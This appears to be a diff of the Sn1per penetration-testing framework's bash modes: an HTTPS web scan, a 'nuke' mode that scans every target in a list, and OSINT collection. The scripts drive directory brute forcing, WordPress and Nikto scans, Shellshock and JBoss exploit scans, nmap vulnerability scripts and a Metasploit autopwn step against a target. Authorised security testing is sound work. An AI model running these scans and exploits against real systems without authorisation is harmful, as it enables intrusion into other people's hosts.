cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd --ssl -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-https.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap https://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
|
||||
echo ""
|
||||
cmsmap https://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WP_API_KEY" ]]; then
|
||||
wpscan --url https://$TARGET --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
|
||||
echo ""
|
||||
fi
|
||||
if [ "$PASSIVE_SPIDER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$WAYBACKMACHINE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
blackwidow -u https://$TARGET:443 -l 3 -s y -v n
|
||||
cat /usr/share/blackwidow/$TARGET*/* 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
fi
|
||||
if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
fi
|
||||
if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
fi
|
||||
if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e html
|
||||
fi
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
|
||||
if [ "$NMAP_SCRIPTS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -A -sV -T5 -Pn -p 443 --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port443
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port443 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port443.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port443 2> /dev/null
|
||||
fi
|
||||
if [ "$CLUSTERD" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
clusterd --ssl -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-https.txt
|
||||
fi
|
||||
if [ "$CMSMAP" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cmsmap https://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
|
||||
wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
|
||||
echo ""
|
||||
cmsmap https://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
|
||||
else
|
||||
wpscan --url https://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WPSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wpscan --url https://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
|
||||
wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
|
||||
echo ""
|
||||
wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
|
||||
fi
|
||||
if [ "$NIKTO" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-https.txt
|
||||
fi
|
||||
if [ "$SHOCKER" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port 443 | tee $LOOT_DIR/web/shocker-$TARGET-port443.txt
|
||||
fi
|
||||
if [ "$JEXBOSS" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port443.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port443.raw > $LOOT_DIR/web/jexboss-$TARGET-port443.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port443.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [ "$METASPLOIT_EXPLOIT" == "1" ]; then
|
||||
PORT="443"
|
||||
SSL="true"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port443a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port443a.txt
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port443b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port443b.txt
|
||||
rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port 443 | tee $LOOT_DIR/web/shocker-$TARGET-port443.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port443.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port443.raw > $LOOT_DIR/web/jexboss-$TARGET-port443.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port443.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$SMUGGLER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u https://$TARGET | tee $LOOT_DIR/web/smuggler-$TARGET-port443.txt
|
||||
fi
|
||||
if [[ "$NUCLEI" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nuclei -silent -t /usr/share/sniper/plugins/nuclei-templates/ -c $THREADS -target https://$TARGET -o $LOOT_DIR/web/nuclei-https-10.0.0.19-port443.txt
|
||||
fi
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,15 +1,15 @@
|
|||
# NUKE MODE #####################################################################################################
|
||||
if [ "$MODE" = "nuke" ]; then
|
||||
if [ -z "$FILE" ]; then
|
||||
if [[ "$MODE" = "nuke" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
args="$args -b -re -o -fp -w $WORKSPACE"
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
|
|
@ -22,7 +22,7 @@ if [ "$MODE" = "nuke" ]; then
|
|||
fi
|
||||
args="$args --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
args="$args -t $TARGET -b"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ____"
|
||||
echo -e "$OKRED __,-~~/~ \`---."
|
||||
|
|
@ -39,18 +39,19 @@ if [ "$MODE" = "nuke" ]; then
|
|||
echo -e "$OKRED --------------------------------------------------------- $RESET"
|
||||
echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET"
|
||||
echo -e "$RESET"
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
141
modes/osint.sh
141
modes/osint.sh
|
|
@ -1,26 +1,133 @@
|
|||
if [ "$OSINT" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING WHOIS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$WHOIS" == "1" ]; then
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
if [[ "$OSINT" = "1" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$WHOIS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WHOIS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING OSINT INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$THEHARVESTER" == "1" ]; then
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python2.7 $THEHARVESTER_PATH -d $TARGET -l 100 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null $RESET"
|
||||
if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
|
||||
fi
|
||||
theharvester -d $TARGET -l 25 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$METAGOOFIL" == "1" ]; then
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
if [[ "$SPOOF_CHECK" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
dig $TARGET txt | egrep -i 'spf|DMARC|dkim' | tee $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
|
||||
dig iport._domainkey.${TARGET} txt | egrep -i 'spf|DMARC|DKIM' | tee -a $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
|
||||
dig _dmarc.${TARGET} txt | egrep -i 'spf|DMARC|DKIM' | tee -a $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
|
||||
echo ""
|
||||
if [[ "$SLACK_NOTIFICATIONS_EMAIL_SECURITY" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/email-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$ULTRATOOLS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING ULTATOOLS DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s https://www.ultratools.com/tools/ipWhoisLookupResult\?ipAddress\=$TARGET | grep -A2 label | grep -v input | grep span | cut -d">" -f2 | cut -d"<" -f1 | sed 's/\ \;//g' 2> /dev/null | tee $LOOT_DIR/osint/ultratools-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$INTODNS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -q http://www.intodns.com/$TARGET -O $LOOT_DIR/osint/intodns-$TARGET.html 2> /dev/null
|
||||
echo -e "$OKRED[+]$RESET Report saved to: $LOOT_DIR/osint/intodns-$TARGET.html"
|
||||
fi
|
||||
if [[ "$THEHARVESTER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING THEHARVESTER OSINT INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cp -f /etc/theHarvester/api-keys.yaml ~/api-keys.yaml 2> /dev/null
|
||||
cd ~ 2> /dev/null
|
||||
theHarvester -d $TARGET -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null
|
||||
cd $INSTALL_DIR 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/theharvester-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$EMAILFORMAT" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS FROM EMAIL-FORMAT.COM $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/email-format-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$URLCRAZY" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS ALTERATIONS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
urlcrazy $TARGET 2> /dev/null | tee $LOOT_DIR/osint/urlcrazy-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$METAGOOFIL" == "1" ]]; then
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED COLLECTING OSINT FROM ONLINE DOCUMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $INSTALL_DIR/plugins/metagoofil/
|
||||
python3 metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/metagoofil-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$URLSCANIO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
